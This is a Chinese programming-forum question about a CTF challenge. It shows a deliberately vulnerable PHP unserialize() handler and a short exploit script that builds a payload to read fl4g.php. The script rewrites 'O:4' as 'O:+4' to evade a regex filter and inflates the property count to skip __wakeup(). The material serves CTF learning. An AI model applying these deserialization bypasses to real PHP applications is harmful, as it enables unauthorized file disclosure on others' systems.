acvxd123 2022-09-26 14:41 采纳率: 64.3%
浏览 42
已结题

一个ctf题,为什么下面的代码str_replace要这样构造?

问题遇到的现象和发生背景
用代码块功能插入代码,请勿粘贴截图
我想要达到的结果
<?php 
class Demo { 
    private $file = 'index.php';//定义一个私有变量。
    public function __construct($file) { //定义一个方法作为构造函数。
        $this->file = $file; //用来引用对象的成员。
    }
    function __destruct() { //析构函数。
        echo @highlight_file($this->file, true); //函数对文件进行语法高亮显示,如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码。
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { //判断file参数是不是,Index.php,如果不是的话,让file=index.php。
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { //检测是否传递了get请求的var变量。
    $var = base64_decode($_GET['var']); //对var变量进行base64解码。
    if (preg_match('/[oc]:\d+:/i', $var)) { //preg_match — 执行匹配正则表达式,返回匹配到的次数。
        die('stop hacking!');//die等同于exit() 。
    } else {
        @unserialize($var); //反序列化:unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
    } 
} else { 
    highlight_file("index.php"); //输出index.php。
} 
?>
<?php
class Demo { 
    private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a);       //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a);        //绕过__wakeup()函数
echo base64_encode($a);                   //绕过解码函数
?>

为什么O的长度是4?
为什么$a里面有:1:就会执行__wakeup()?

  • 写回答

1条回答

      报告相同问题?

      相关推荐 更多相似问题

      问题事件

      • 系统已结题 10月6日
      • 已采纳回答 9月28日
      • 赞助了问题酬金10元 9月26日
      • 创建了问题 9月26日

      悬赏问题

      • ¥15 如何在linux服务器做视频静态资源访问接口
      • ¥15 Python Xpath对<em>标签的爬取结果变成了- -(关键词-Xpath)
      • ¥15 el-cascader懒加载模式选中单选框加载下层无数据问题
      • ¥15 promql 参数怎么忽视大小写查询
      • ¥50 swift使用textkit读取大文本文件速度慢的问题
      • ¥20 统信linux360企业浏览器 如何配置扩展程序?(图形界面我知道)
      • ¥100 c/c++实现DoubleArrayTrie
      • ¥30 关于#网络安全#的问题:非对称加密验证
      • ¥20 关于线性代数里施密特正交化和QR分解的疑问
      • ¥15 matlab超类包含解析错误